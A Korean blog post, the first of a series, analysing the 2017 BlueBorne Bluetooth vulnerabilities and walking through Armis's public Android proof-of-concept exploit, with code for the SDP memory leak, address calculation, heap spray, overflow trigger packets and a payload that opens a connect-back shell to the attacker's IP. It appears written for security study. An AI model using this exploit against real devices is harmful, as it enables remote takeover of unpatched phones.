블루본 취약점을 이용한 안드로이드 해킹 분석 및 실습(1)
블루본 취약점이란?
2017년, 사물인터넷 보안업체 아미스가 발표한 8개의 제로데이 취약점을 '블루본' 취약점이라 통칭한다. 한국인터넷진흥원에서는 이를 ‘공격자가 블루투스가 활성화되어 있는 장치에 페어링 하지 않아도 장치를 제어할 수 있는 공격 벡터’라고 정의한다. 즉 공격자-피해자 기기가 페어링되어 있지 않더라도, 단순히 블루투스가 활성화되어있다는 이유만으로 공격 당할 수 있다는 것이 블루본 취약점의 특징이다.
Armis에서 발표한 블루본 취약점 8개는 아래와 같다:
취약점 | cve | 설명 |
---|---|---|
Linux kernel RCE vulnerability | CVE-2017-1000251 | 리눅스 커널 원격코드 실행 취약점 |
Linux Bluetooth stack (BlueZ) information Leak vulnerability | CVE-2017-1000250 | 리눅스 블루투스 스택(BlueZ)에서 발생하는 정보노출 취약점 |
Android information Leak vulnerability | CVE-2017-0785 | 안드로이드 SDP에서 발생하는 정보노출 취약점 |
Android RCE vulnerability #1 | CVE-2017-0781 | 안드로이드 BNEP에서 발생하는 원격코드 실행 취약점 |
Android RCE vulnerability #2 | CVE-2017-0782 | 안드로이드 BNEP PAN에서 발생하는 원격코드 실행 취약점 |
The Bluetooth Pineapple in Android - Logical Flaw | CVE-2017-0783 | 안드로이드 블루투스 PAN 프로필에서 발생하는 MITM 정보노출 취약점 |
The Bluetooth Pineapple in Windows - Logical Flaw | CVE-2017-8628 | 윈도우 블루투스 드라이버에서 발생하는 스푸핑 취약점 |
Apple Low Energy Audio Protocol RCE vulnerability | CVE-2017-14315 | 애플 Low Energy 오디오 프로토콜에서 발생하는 원격코드 실행 취약점 |
파급력
취약점 발표 당시 해당 ‘블루본 버그’에 영향을 받은 기기는 약 53억 개에 이르렀다. 헤드폰부터 스마트워치, 자동차, 심지어는 병원 의료 기기까지 거의 모든 IoT 기기가 블루투스를 사용하기 때문에, 우리가 일상적으로 사용하는 전자 기기는 일반적으로 모두 표적이 되었다고 보아도 무방할 것이다.
현황
상기된 취약점들은 2025년 현재 기준 전원 보안 패치가 완료 되었다.
- 리눅스 : 2017.09.12일자 리눅스 커널 보완(4.13.2~)
- 안드로이드 : Android 보안 패치 레벨 2017-09-01 일자에 해당 취약점 보완
- 마이크로소프트 : 2017년 9월 정기 보안 업데이트에서 취약점 보안
- 애플 : IOS 10에서 해당 취약점 보완. 단, Apple TV의 경우 4세대 이하는 취약점 보완 소프트웨어 출시되지 않음.
공부 목적
앞서 서술했듯 블루본 취약점은 약 8년 전 보안패치가 완료된, 어떤 의미로는 ‘끝난’ 보안위협이라 할 수도 있다. 그러나 여전히 블루투스가 우리 주변의 수많은 IOT 기기들을 관리하고 연결하는데 사용되고 있는 한, 새로운 블루투스 취약점은 끝없이 발생할 것이다. 예컨대 당장 공공 자전거로 사용되고 있는 ‘따릉이’의 사물인터넷 블루투스에도 취약점이 존재하리라 생각한다. 본인은 이러한 현재의 블루투스 보안 위협을 공부하기 위한 기반을 쌓고자 과거의 취약점을 분석 및 공격 실습을 하는 것으로부터 소프트웨어적 지식과 실전 감각을 익히고자 했다.
안드로이드 블루본 취약점 집중 탐구
안드로이드에서 발생한 취약점은 원격코드 2, 정보노출 2로 총 4가지가 있는데, 그 중 이번 공격 실습에 사용될 취약점은 아래의 두 가지다.
- CVE-2017-0781 (BNEP/원격 코드 실행)
- CVE-2017-0785 (SDP/정보 누출)
차례로 각 취약점의 발생 원리를 알아보자.
CVE-2017-0781
BNEP란?
CVE-2017-0781는 안드로이드의 BNEP 레이어에서 발생한 RCE(원격 코드 실행) 취약점이다.
그렇다면 BNEP 레이어란 무엇일까?
BNEP 레이어란 Bluetooth network encapsulation Protocol 의 약자로, ‘블루투스 네트워크 캡슐화 프로토콜’을 담당한다. 해당 레이어는 ip 기반 네트워크 테더링(공유) 기능을 블루투스를 통해서도 기능하게 하기 위해 사용된다.
PAN(Personal Area Networking)
PAN(개인 네트워크 영역)
- 사용자와 가까운 영역 내의 전자 장치를 연결하는 것을 의미한다.
- 사용 실례 :
블루투스 이어피스와 스마트폰 간의 연결. - 분류
- 유선: USB, FireWire
- 무선 : 블루투스, WiFi, IrDA, Zigbee
- PAN 내의 장치는 서로 데이터를 교환할 수 있다.
-> 그러나 일반적으로 라우터가 포함되지 않으므로, 인터넷에 직접 연결되지 않음.
-> 따라서 PAN 내의 장치 중 인터넷에 연결되어 있는 장치(ex.PC)가 그렇지 않은 장치(ex.태블릿)에게 인터넷을 제공한다.- PAN 내에서 인터넷을 제공하는 장치 : NAP (Network Access Point)
- PAN 내에서 인터넷을 제공받는 장치 : PANU (PAN User)
NAP와 PANU 간 인터넷을 공유하기 위해서는 BNEP가 필요!
BNEP 레이어
- 원래의 인터넷 공유 : 이더넷 계층에서 IP 패킷을 이더넷 프레임으로 감싸 전송.
- PAN 안에서의 인터넷 공유:
- 블루투스는 ‘이더넷’ 인터페이스를 통해 패킷을 주고받을 수는 없음
- 따라서 이더넷 캡슐화를 거친 IP 패킷을 BNEP 캡술화
- 이후 해당 캡슐을 Bluetooth 데이터링크 L2CAP 계층에 올려서 전송
-> L2CAP 계층이 이더넷 인터페이스 역할을 한다!
즉 블루투스 PAN 연결 안에서 기기끼리 인터넷을 주고받기 위해, Ethernet 패킷을 L2CAP 연결 위에 BNEP 캡슐화하여 전송하는 것.
BNEP 캡슐화
이미지 해설
원본 데이터 (원래의 이더넷 프레임 구조)
- 이더넷 헤더
- MAC 주소, 타입 등…
- 이더넷 페이로드(실제 데이터)
- 이더넷 헤더
BNEP 캡슐화 구조
- L2CAP 헤더
- BNEP 헤더
- 이더넷 페이로드 (실제 데이터)
→ 이더넷 헤더를 압축해서 bnep 헤더에 포함시킨 뒤, 블루투스 통신을 위한 L2CAP/BNEP 헤더를 추가한다.
BNEP 컨트롤 메시지
BNEP는 다양한 캡슐화 메시지 뿐 아니라 BNEP 컨트롤 메시지라는 것을 지원. 이 컨트롤 메시지는 PAN 연결을 생성 및 흐름 제어를 위해 사용된다.
btbnep.bnep_type BNEP Type Unsigned integer (8 bits) 1.10.0 to 4.4.7
btbnep.control_type Control Type Unsigned integer (8 bits) 1.10.0 to 4.4.7
다수의 컨트롤 메시지를 단 한 개의 L2CAP 메시지에 담기 위해, BNEP 헤더에 선택적 연장 헤더(extension header)를 추가할 수 있다.
안드로이드 스택 내에서, 두 개의 RCE(원격 코드 실행) 취약점이 들어온 컨트롤 메시지를 핸들링하는 코드에서 발견되었다.
코드 분석
1 | UINT8 *p = (UINT8 *)(p_buf + 1) + p_buf->offset; |
코드 해설
해당 코드는 incoming BNEP 컨트롤 매시지를 핸들링하는 파트이다. 이 코드 플로우는 특수한 경우에 대처하기 위해 개발되었다 : (extension bit를 사용하여) L2CAP 메시지에 다수의 컨트롤 메시지을 포함하는 것이 가능하기 때문에, BNEP 연결 상태가 제어 메시지를 처리하는 사이사이에 변경될 위험이 있다.
예컨대 SETUP_CONNECTION_REQUEST가 제어 메시지로 전송된 경우, 이후의 모든 제어 메시지는 BNEP 연결 상태가 CONNECTED인 상태에서 처리될 것으로 기대할 수 있다. 그러나 CONNECTED 상태로 전환하려면 인증 프로세스가 완료되어야 하며, 이 프로세스는 비동기적이기 때문에 같은 패킷의 두 번째 컨트롤 메시지를 처리할 시기 BNEP 연결 상태가 아직 IDLE에서 CONNECTED로 변경되지 않았을 위험이 존재한다.
이러한 시간차 오류를 방지하기 위해, 위의 코드는 하나의 제어 메시지를 처리가 완료될 동안 남은 부분은 p_pending_data에 저장해 둔다.취약점 발생 부분
p_bcb->p_pending_data = (BT_HDR *)osi_malloc(rem_len);
패킷에 남아 있는 데이터 길이(rem_len)
만큼 힙을 확보해 놓는다.
p_pending_data 버퍼는 rem_len의 사이즈만큼 heap에 접근 가능.memcpy((UINT8 *)(p_bcb->p_pending_data + 1), p, rem_len);
void* memcpy (void* dest, const void* source, size_t num)
memcpy(복사받을 메모리, 복사할 메모리, 길이)
memcpy로 파악한 컨트롤 타입(p)를 p_bcb 구조체의 p_pending_data +1에 rem_len만큼 복사한다.
-> 버퍼 오버플로우 발생왜?
- p_pending_data: 8 바이트 BT_HDR 구조체를 가리키는 포인터
->p_pending_data + 1
: p_pending_data + BH_HDR 구조체 크기(8바이트)
- p_pending_data: 8 바이트 BT_HDR 구조체를 가리키는 포인터
즉 포인터 연산 탓에 원래 확보해 놓은 버퍼 주소가 아닌 그보다 뒤로 미뤄진, 다른 데이터가 들어 있을지도 모르는 버퍼 주소부터 데이터를 채워넣어 버리는 것.
예컨데 rem_len이 8바이트였다고 치면, 힙에는 주소 0~7번지까지 8바이트짜리 공간을 마련해 놓았는데, BH_HDR 구조체 포인터 연산 오류로 인해 이보다 8바이트만큼 미뤄진 8번지부터 15번지까지 데이터를 채워넣게 된다.
1 | Heap 영역 (확보된 공간) 실제 데이터 복사되는 영역 |
이러한 코드의 오류점 때문에, 들어온 BNEP 제어 메시지를 컨트롤하는 코드를 호출할 때마다 버퍼 오버 플로우가 발생한다.
코드 취약점을 이용한 추가 공격
rem_len
: 패킷 내의 파싱을 기다리는 바이트들의 길이이므로, 공격자가 컨트롤 가능하다.- 공격자가 조작한 BNEP 커넥션 패킷의 예시 :
그림 6. [공격자 조작 패킷]
| 필드명 | 값 | 의미 | |--------------|---------|----------------------------------------------------------------------| | `type` | `0x81` | `0x80` (extension bit set) + `0x01` (BNEP_FRAME_CONTROL) | | `ctrl_type` | `0x01` | `BNEP_SETUP_CONNECTION_REQUEST_MSG` | | `len` | `0x00` | 이 메시지의 길이 = 0 → `rem_len`도 0이 됨 | | `payload` | 8바이트 | `'A'` (0x41) 문자로 채움 (overflow payload) |
- 공격 원리
- 메시지 길이가 0이어도
bnep_process_control_packet()
는 통과될 수 있음. osi_malloc(rem_len)
에서 0바이트만큼 힙을 할당.- 이후
memcpy(p_pending_data + 1, p, rem_len);
- rem_len : 0이지만, 애당초 첫 제어 메시지를 처리하는 동안 ‘남은 바이트’를 저장해 두기 위한 코드였으므로, 실제로는 패킷 내 남은 전체 길이(payload)로 재계산된 rem_len이 사용된다.
-> 즉, 공격자가 원하는 크기만큼 memcpy 가능.
- rem_len : 0이지만, 애당초 첫 제어 메시지를 처리하는 동안 ‘남은 바이트’를 저장해 두기 위한 코드였으므로, 실제로는 패킷 내 남은 전체 길이(payload)로 재계산된 rem_len이 사용된다.
- 메시지 길이가 0이어도
CVE-2017-0785
CVE-2017-0785는 SDP 레이어에서 발생한 취약점이다.
SDP란?
SDP(Service Discovery Protocol)은 블루투스의 코어 레이어로, 모든 스택의 일부를 차지하고 있다.
- 주요 기능
- 상대 블루투스 디바이스에서 지원하는 서비스를 알고자 할 때 사용한다.
- SDP 클라이언트 -> SDP 서버 : 검색 리퀘스트
- SDP 서버 -> SDP 클라이언트 : 리퀘스트 응답 (서비스 발견)
- 상대 블루투스 디바이스에서 지원하는 서비스를 알고자 할 때 사용한다.
- 부가 기능
- 블루투스의 고정된 UUID를 동적으로 바꿀 수 있는 PSM 으로 변환
- UUID : 범용 고유 식별자. 소프트웨어 구축에 쓰이는 식별자 표준.
- PSM : L2CAP와 같은 블루투스 프로토콜이 하나의 채널에 들어오는 여러개의 데이터 스트림을 관리하기 위해 사용하는 메카니즘. 포트 넘버의 개념.
- 검색된 PSM는 발견된 서비스와 L2CAP 연결을 형성하는데 사용된다.
- 블루투스의 고정된 UUID를 동적으로 바꿀 수 있는 PSM 으로 변환
SDP 단편화
앞서 말했듯 SDP 서비스 검색은 서버와 클라이언트 간의 통신으로 진행되는데, 서버와 클라이언트 양측은 통신에서 사용할 수 있는 응답의 최대 크기(MTU)를 사전에 정해 놓는다.
응답이 이 “MTU”보다 클 경우를 대비해 만들어진 것이 “SDP Continuation, 즉 SDP 단편화 매커니즘이다.
- SDP 단편화 매커니즘
- SDP 클라이언트 SDP 리퀘스트 발송
- 요청에 대한 응답이 설정된 L2CAP 연결의 MTU를 초과하는 경우, 응답의 일부가 반환되고 “continuation state” 구조가 SDP 응답에 추가된다.
- 응답의 나머지를 받기 위해, SDP 클라이언트는 같은 요청을 한번 더 보내며 마지막 응답에서 수신한 “continuation state”를 유지한다. (이러한 요청은 계속 요청이라 불린다.)
- SDP 서버가 나머지 응답을 보낸다.
- 해당 과정은 응답의 모든 조각들이 서버→클라이언트에게 전달할 때까지 반복된다.
SDP 설계 결정의 함정
SDP 아래 계층엔 이미 두 개의 단편화 계층이 존재
- L2CAP(세그먼테이션), ACL
- 그런데 굳이 SDP에게도 단편화 기능이 있어야 할 이유가?
SDP continuation 메커니즘에서 continuation state의 구체적인 구조가 구현자에게 맡겨져 있다.
- continuation state : 클라이언트가 서버로부터 한번에 다 받지 못 한 SDP 응답을 이어서 받을 때 사용하는 연결된 상태 정보.
서버가 “아직 다 안 보냈어”라는 뜻으로 포함한 CONTINUATION STATE를 클라리언트는 무조건 다시 돌려보내기만 하고, 내용을 확인하지는 않아도 된다는 이야기인 듯
비판 : 어차피 서버만 해석하고 사용하는 정보인데, 이걸 외부로 노출해서 클라이언트가 보관하고 다시 보내도록 만드는 구조가 비정상적
→ continuation state 악용 가능.
: 서버가 클라이언트에게 데이터를 주고, 클라이언트가 이걸 반사하면 서버가 신뢰해서 처리하기 때문에 악용 가능하다!
코드 해설
1 | typedef struct { |
내용 정리(그림)
SDP의 이론과 코드 취약점 발생의 원리를 아래 그림으로 정리했다.
POC 코드 분석.
이제 두 개의 취약점을 모두 확인해 보았으니, 해당 취약점들을 이용하여 안드로이드를 공격하는 POC 코드를 분석해 보도록 하자.
https://github.com/ArmisSecurity/blueborne/blob/master/android/doit.py
1 | #ArmisSecurity/blueborn/android/doit.py |
주요 공격 흐름
1 | main() ───────────────────────────────────────────────────────────────┐ |
실제 공격 흐름 추적
def main(src_hci, dst, my_ip)
if __name__ == '__main__': main(*sys.argv[1:])
에 의해 호출됨sys.argv[1:]
: CLI에 입력된 명령어 배열을 첫 번째 명령어만 빼고 전달- 예시 실행 명령:
1
python3 doit.py hci0 11:22:33:44:55:66 192.168.0.10
- 전달된 인자:
1
main(src_hci='hci0', dst='11:22:33:44:55:66', my_ip='192.168.0.10')
- → hci0(공격자 인터페이스), 11:22:33:44:55:66(피해자 블루투스 MAC 주소), 공격자 IP
호출된 이후
os.system()
: 공격자/피해자 장비 초기화1
2os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))명령어 분석
os.system("운영체제 명령어")
: 파이썬에서 OS 명령어 실행- 즉, 운영체제로 아래 명령어 전달
hciconfig %s sspmode 0
→ 공격자 블루투스 장비 초기화hcitool dc %s
→ 피해자와의 연결 해제
명령어 뜻
'hciconfig %s sspmode 0'
→ 공격자 기기에 SSP(간단 보안 페어링) 끄기'hcitool dc %s'
→ victim 블루투스 ACL 연결 끊기 (dc = disconnect
)- 목적: 이전 세션/캐시 초기화
다음 호출
1
sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)
- 분석:
connectback.create_sockets(...)
→ 공격자 컴퓨터에 3개의 TCP 포트 열고 리스닝- 표준 입력/출력 및 셸 인터랙션을 위한 통신 채널 준비
- 분석:
반복문
1
for i in range(PWN_ATTEMPTS):
PWN_ATTEMPTS = 10
→ 총 10회 시도로그 출력:
1
log.info('Pwn attempt %d:' % (i,))
- pwntools 라이브러리 로그로 시도 횟수 출력
- 로그(logging)에 대한 개념은 따로 확인 추천
랜덤 BD_ADDR 생성:
1
src = set_rand_bdaddr(src_hci)
bdaddr
= Bluetooth Device Address- 공격자 블루투스 MAC 주소를 랜덤하게 설정
- 목적: victim 캐시 우회
메모리 유출 시도 반복문
1
for j in range(LEAK_ATTEMPTS):
5회 반복
호출:
1
libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
- 해당 함수에서
libc
,bluetooth.default.so
메모리 베이스 주소 유출 - 참고: memory_leak_get_bases()
- 해당 함수에서
정렬 확인:
1
2
3
4if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
break
else:
assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"& 0xfff == 0
→ 페이지 경계(4096 바이트) 정렬 여부 확인
주소 계산
1
2system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_basesystem_addr
: libc에서 system 함수 오프셋 + 베이스 주소acl_name_addr
: BSS 내 특정 오프셋 + 블루투스 .so 베이스 주소- 이후 익스플로잇용 명령어 준비를 위한 주소 세팅
정렬 검증
1
assert acl_name_addr % 4 == 0
정보 출력
1
log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))
익스플로잇 수행
1
pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
- pwn 함수 정의로 이동
- 내부 동작:
1
2
3
4readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
if readable:
log.info('Done')
break- 리스닝 소켓(sh_s)에 역접속 감지 시 로그 출력하고 루프 종료
def memory_leak_get_bases(src, src_hci, dst)
prog = log.progress('Doing stack memory leak...')
- 로그 생성 (pwntools 활용해 역동적인 로딩 애니메이션을 보여줌)
result = bluedroid.do_sdp_info_leak(dst, src)
2.1.bluedroid.do_sdp_info_leak()
bluedroid.py
에 정의되어 있음- 함수 분석
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28import btsock
import struct
import sdp
# This is required to assure than the SDP respones are splitted to multiple fragments,
# thus assuering that cont_state is attached to the responses.
# sdp 응답이 단편화되는 걸 확실시하기 위해 mtu 설정.
# -> 패킷이 단편화되면 sdp 서버는 응답에 반드시 continuation state(cont_offset포함)을 포함시키게 된다.
MIN_MTU = 48
SDP_PSM = 1
# This function assumes that L2CAP_UUID response would be larger than ATT_UUID response
# (This will than lead to the underflow of rem_handles)
def do_sdp_info_leak(dst, src):
socket = btsock.l2cap_connect((dst, SDP_PSM), (src, 0), MIN_MTU)
socket.send(sdp.pack_search_request(sdp.L2CAP_UUID))
response = sdp.unpack_sdp_pdu(socket.recv(4096))
response['payload'] = sdp.unpack_search_response(response['payload'])
result = []
for i in range(20):
cstate = response['payload']['cstate']
assert cstate != b''
socket.send(sdp.pack_search_request(sdp.ATT_UUID,
cstate=cstate))
response = sdp.unpack_sdp_pdu(socket.recv(4096))
response['payload'] = sdp.unpack_search_response(response['payload'])
result.append(response['payload']['records'])
return resultMTU 설정 → sdp 응답 단편화시키기 위해 최대 크기를 설정해둔다.
- 응답이 단편화되면 SDP 서버는 응답에 continuation state(cont_offset 포함)를 반드시 포함해야 함을 악용
SDP_PSM 설정 → 내부 포트 번호…? 라고 생각하면 될 듯?
socket = btsock.l2cap_connect((dst, SDP_PSM), (src, 0), MIN_MTU)
btsock.l2cap_connect
:
대상 장치와 통신할 BLUETOOTH 통신용 L2CAP 소켓을 만드는 함수.
공격자 기기의 1번 psm에서 대상 기기의 0번 psm와 통신할 소켓을 만들며, 이 통신의 mtu는 48로 설정한다.
socket.send(sdp.pack_search_request(sdp.L2CAP_UUID))
- 용어 풀이
- UUID : 기능 식별자
- 블루투스 기기의 기능에 붙여지는 ID들
- ex) SDP 리퀘스트 : “너 뭐 할 수 있어?”
- SDP 응답 : “8001(UUID/듣기), 8727(UUID/마이크)….”
- L2CAP_UUID : 서비스 목록을 요청할 때 자주 사용 (큰 응답이 돌아온다)
- 공격자 → victim 으로 L2CAP_UUID(상대 기기의 기능 목록) 리퀘스트 전송
서버가 큰 응답을 단편화해 보내기를 유도
- 용어 풀이
response = sdp.unpack_sdp_pdu(socket.recv(4096))
- 첫 조각을 받아 압축해제.
response['payload'] = sdp.unpack_search_response(response['payload'])
- 받은 응답을 파싱.
sdp.py
에unpack_search_response
가 정의되어 있다.
1
2
3
4
5
6
7
8
9
10
11def unpack_search_response(response):
assert len(response) >= 5
result = {}
result['total_len'], result['current_len'] = \
struct.unpack_from('>HH', response)
result['records'] = struct.unpack_from('>' + ('I' * result['current_len']),
response[4:])
cstate_len = response[4 + len(result['records']) * 4]
result['cstate'] = response[4 + len(result['records']) * 4 + 1:]
assert chr(len(result['cstate'])) == cstate_len
return result- 간단 설명
SDP 메시지에서 정보를 추출한 뒤 구조체로 정리한다.
1
2
3
4
5
6
7def unpack_search_response(response):
최소 응답 길이 확인
→ 앞 4바이트에서 total_len, current_len 추출
→ 그 뒤에서 record handle들 추출 (current_len 개수만큼)
→ 그 뒤 1바이트에서 cstate 길이
→ 그 다음부터 cstate 내용
→ 길이 일치 확인 후 딕셔너리로 반환- Bluetooth SDP response 기본 구조 :
1
2
3
4
5
6
7
8
9
10
11+------------------------+
| Total Data Length | (2 bytes)
+------------------------+
| Current Record Count | (2 bytes)
+------------------------+
| Record Handles (4 * N)|
+------------------------+
| cstate length | (1 byte)
+------------------------+
| cstate data | (N bytes)
+------------------------+result 배열 설정 이후 반복문(20회)
1
2
3
4
5
6
7
8
9result = []
for i in range(20):
cstate = response['payload']['cstate']
assert cstate != b''
socket.send(sdp.pack_search_request(sdp.ATT_UUID,
cstate=cstate))
response = sdp.unpack_sdp_pdu(socket.recv(4096))
response['payload'] = sdp.unpack_search_response(response['payload'])
result.append(response['payload']['records'])- 용어 설명
cstate
= continuation state
cstate = response['payload']['cstate']
- cstate 추출
assert cstate != b''
socket.send(sdp.pack_search_request(sdp.ATT_UUID, cstate=cstate))
- 이후, L2CAP_UUID 리퀘스트 응답의 cstate를 이용하여 ATT_UUID 리퀘스트를 보냄
- SDP 서버 : cstate confusion으로 메모리 누수
response = sdp.unpack_sdp_pdu(socket.recv(4096))
- exploit의 응답을 받는다.
response['payload'] = sdp.unpack_search_response(response['payload'])
- 마찬가지로 공격 응답의 내용을 압축 해제
result.append(response['payload']['records'])
- 압축 해제한 내용
result[]
배열에 추가
- 압축 해제한 내용
2.2. result 리스트의 원소:
response['payload']['records']
-result[i][j]
=i
번째 응답의j
번째 레코드 핸들likely_some_libc_blx_offset = result[-3][-2]
likely_some_bluetooth_default_global_var_offset = result[6][0]
- libc 주소들을 result 배열을 이용하여 추출 (exploit해낸 데이터로부터)
libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET
bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET
libc_blx_offset
에서LIBC_SOME_BLX_OFFSET
를 빼서libc_text base
계산- 마찬가지로
likely_some_bluetooth_default_global_var_offset
에서BLUETOOTH_BSS_SOME_VAR_OFFSET
를 빼서bluetooth_default_bss_base
계산
log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))
- 알아낸 libc 주소들을 화면에 출력
Close SDP ACL connection
1
2os.system('hcitool dc %s' % (dst,))
time.sleep(0.1)- os에 victim과의 연결을 끊으라는 명령 전달
- 0.1초 sleep
- 이유: 명령이 바로 연속되어 꼬이는 걸 방지 (연결 상태 안정화)
prog.success()
- 콘솔에 성공 메시지 띄움
return libc_text_base, bluetooth_default_bss_base
- 메모리 주소 반환하고 끝
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
# Gen new BDADDR, so that the new BT name will be cached
src = set_rand_bdaddr(src_hci)
- 공격자 기기의 새로운 랜덤 bdaddr을 만든다. (victim 기기가 공격자 기기를 캐싱하는 걸 방지)
1
2payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + \
SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'- 쉘 전달용 페이로드 구성:
1
2
3
41. 0xAAAA1722 : BNEP 이벤트 ID
2. 0x41414141 : 패딩
3. system_addr : system() 함수 주소
4. b'";\n' + SHELL_SCRIPT.format(...) : 쉘 스크립트
- 쉘 전달용 페이로드 구성:
1
set_bt_name(payload, src_hci, src, dst)
- 공격 페이로드를 블루투스 기기 이름으로 설정.
- BNEP 연결 시, 페이로드(기기 이름)가 상대방의 bss 주소로 쓰인다.
1
prog = log.progress('Connecting to BNEP again')
- 로그 출력
1
2
3bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))- 상대 기기와 bnep 연결
1
2prog.success()
prog = log.progress('Pwning...')- 성공 로그 출력
1
2for i in range(20):
bnep.send(binascii.unhexlify('8109' + '800109' * 100))- 20회 동안 bnep.send()로 BNEP 패킷 100개씩 전송
- 공격 배경 해설:
- Bluetooth 스택 (BNEP 포함)은 큐 기반 구조를 사용
- 큐는 list_node_t 같은 8바이트 구조체를 반복적으로 malloc()/free()하며 메모리에서 리스트를 유지한다.
xmit_hold_q
: 보내야 할 메시지를 저장hci_msg_q
: 수신된 메시지를 저장
- Bluetooth 스택 (BNEP 포함)은 큐 기반 구조를 사용
- 공격자 패킷은 victim이 이해할 수 없는 명령 → “can’t understand command” 에러 응답 100개 생성
- 응답은 내부적으로
xmit_hold_q
에 저장되고, 각각은list_node_t
로 감싸져 큐에 들어감 → 약 2000개의 구조체가 힙에 연속적으로 생성됨. (heap spray) - 비동기적 처리로 일부는 free(), 일부는 잔류 → “구멍” 생김
- 이후 공격자가 8바이트 heap chunk overflow 시도:
- 이 청크가 만일 아직 처리되지 않은 list_node_t였다면, 공격자는 해당 구조체를 완전히 덮어쓸 수 있다.
- 덮은 구조체가 호출 시 참조된다면, 내부 필드 조작 가능
- 예:
list_node->data = acl_name_addr
→ 그 주소의 페이로드 실행됨
- 공격 배경 해설:
- 20회 동안 bnep.send()로 BNEP 패킷 100개씩 전송
- 1000회 반복문
1
2
3
4_, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
if not writeable:
break- bnep 소켓이 쓰기 가능한지 일정 시간 기다려 확인한다. 응답 없으면 break
1
bnep.send(binascii.unhexlify('810100') + struct.pack('<II', 0, acl_name_addr))
- 실제 overflow 트리거 패킷
810100
: BNEP “Command Not Understood” 가짜 명령어0
: 패딩acl_name_addr
: 공격자의 페이로드를 저장한 메모리 주소
1
2else:
log.info("Looks like it didn't crash. Possibly worked")- 크래시 없이 exploit이 성공했을 수도 있으므로 만일을 대비하여 달아놓은 로그 메시지.
- 1000회 반복문
1
prog.success()
- 성공 메시지
이상이 공격을 위한 기본적 블루투스 개념 학습 및 POC 코드 분석이다. 원래는 실습까지 하나의 글에 실으려 했는데, 분량 이슈로 인하여 실제 실습을 위한 환경설정 및 실습 결과는 2편에 업로드하도록 하겠다.